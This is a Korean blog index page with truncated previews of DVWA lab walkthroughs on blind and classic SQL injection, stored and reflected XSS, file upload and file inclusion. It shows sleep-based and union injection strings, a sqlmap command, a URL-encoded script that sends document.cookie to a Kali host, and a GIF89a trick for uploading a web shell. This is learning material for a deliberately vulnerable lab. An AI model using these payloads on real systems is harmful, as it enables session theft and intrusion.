보안/DVWA(10)
-
SQL Injection(Blind)
SQL Injection(Blind)는 Low 레벨만 다뤄보려고 한다. 1' and sleep(5)#와 같이 입력하면 참인 경우 5초 후 반응한다. 단, 데이터에 id 값이 없는 경우는 바로 반응함을 알 수 있다. F12를 누크로 Network 탭을 확인하면 아래와 같이 전송시간을 확인할 수 있다. 구체적인 데이터 값을 알기 위해 kali에서 명령어 sqlmap을 사용해보자. 쿠키값이 필요한데 F12를 누르고 console에서 alert(document.cookie)를 입력하면 쿠키정보를 얻을 수 있다. sqlmap -u "http://192.168.2.14/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSE..
2023.08.18 -
XSS(Stored)
XSS(Stored) 악의적인 스크립트가 서버에 저장되어, 다른 사용자가 해당 스크립트를 실행하도록 할 때 발생한다. 예를 들어, 게시판에 악성 스크립트가 저장되어 사용자가 해당 게시글을 열 때 스크립트가 실행된다. 실습 Low 레벨을 도전해보자! 을 Message에 입력하려고 하는데 글자 수에 제한이 있는지 모두 입력되지 않는 것을 확인할 수 있다. F12를 클릭하여 글자 수 제한을 풀어보자. maxlength="100"으로 수정한 후 다시 내용을 입력해보자. 본격적으로 쿠키 정보를 취득하기 위해 칼리에서 로그를 감시하고 있자. intercept를 on으로 켜고 게시물을 올리면 두 번 캡쳐된다. 각각 Forward 시키자. BeEF 설치 패키지 apt -y install beef-xss 설정 실행하면 ..
2023.08.18 -
XSS(Reflected)
XSS(Reflected) 사용자의 입력이 웹 애플리케이션에 반사되어 스크립트가 실행되는 경우이다. 주로 링크나 URL 매개 변수를 통해 발생하며, 사용자가 악의적인 링크를 클릭하거나 악의적인 URL을 요청할 때 스크립트가 실행된다. 실습 Low 레벨을 도전해보자! 이번에는 칼리에서 쿠키 정보를 받아보자! 와 같은 명령어를 구글에서 url 인코딩하면 아래와 같이 얻을 수 있다. %3cscript%3edocument.location%3d%27http%3a%2f%2f192.168.2.14%2fcookie%3f%27%2bdocument.cookie%3c%2fscript%3e intercept 기능을 on으로 켜고, name 부분에 인코딩한 정보를 기입하고 Forward 한다. 쿠키 정보를 아래와 같이 얻을 수..
2023.08.18 -
SQL Injection
SQL Injection SQL Injection은 웹 애플리케이션에서 발생하는 보안 취약점 중 하나로, 악의적인 사용자가 애플리케이션의 입력 필드를 통해 SQL 쿼리를 주입하여 데이터베이스를 조작하거나 노출시키는 공격이다. 실습 Low 레벨부터 도전해보자. SQL문에서 아래와 같이 입력했을 때, SQL syntax 에러가 난다면 SQL Injection에 취약하다는 것을 알 수 있다. 소스코드는 다음과 같다. id가 홑따옴표(')로 둘러싸였으니 처음과 끝에 홑따옴표(')를 제거한 채로 항상 참이 SQL 구문을 입력해보자! 항상 참인 구문이 입력됐기 때문에 모든 데이터 값이 출력됨을 확인할 수 있다 이번엔 1' union select 1#을 입력해보자! 이때 샵(#)은 주석처리 기능과 관련된다. 입력하면..
2023.08.17 -
File Upload
File Upload 파일 업로드 기능에 대한 보안 취약점과 보안에 대해 알아보자. 실습 Upload 클릭하면 성공적으로 업로드 된 것 확인 웹쉘 : 웹사이트를 통해 쉘을 여는 공격 보안레벨을 medium으로 올려보자. burp suit의 intercept를 on으로 켠 후 똑같이 upload하면 아래 스크린샷과 같이 type을 바꿀 수 있다. 보안레벨을 high로 올려보자. getimagesize 함수를 통해 실제 이미지 파일인지 확인한다. 역시 난이도가 쉽지만은 않을 것 같다. 이번에도 업로드 전에 intercept on을 켜두자. GIF89a를 추가함으로써 함수 getimagesize를 통과할 수 있다! File Inclusion 탭으로 들어가 upload된 파일 뒤 cmd를 활용하면 웹쉘이 가능하..
2023.08.17 -
File Inclusion
File Inclusion 파일 인클루전(File Inclusion)은 웹 애플리케이션에서 외부 파일을 포함시키는 기능을 의미한다. 이를 통해 애플리케이션은 외부 파일의 내용을 가져와서 실행하거나 표시할 수 있다. 파일 인클루전은 애플리케이션의 유연성을 높이고 코드 재사용을 촉진하는 데에 유용하지만, 보안 취약점으로 이어질 수 있다. 파일 인클루션 두 가지 유형 Local File Inclusion (LFI) : LFI는 애플리케이션에게 로컬 파일 시스템에서 파일을 가져오도록 요청하는 공격이다. 이를 통해 공격자는 애플리케이션에 대한 파일 시스템 액세스 권한을 이용하여 시스템 파일이나 중요한 데이터를 노출시킬 수 있다. Remote File Inclusion (RFI) : RFI는 외부 서버에 위치한 파..
2023.08.17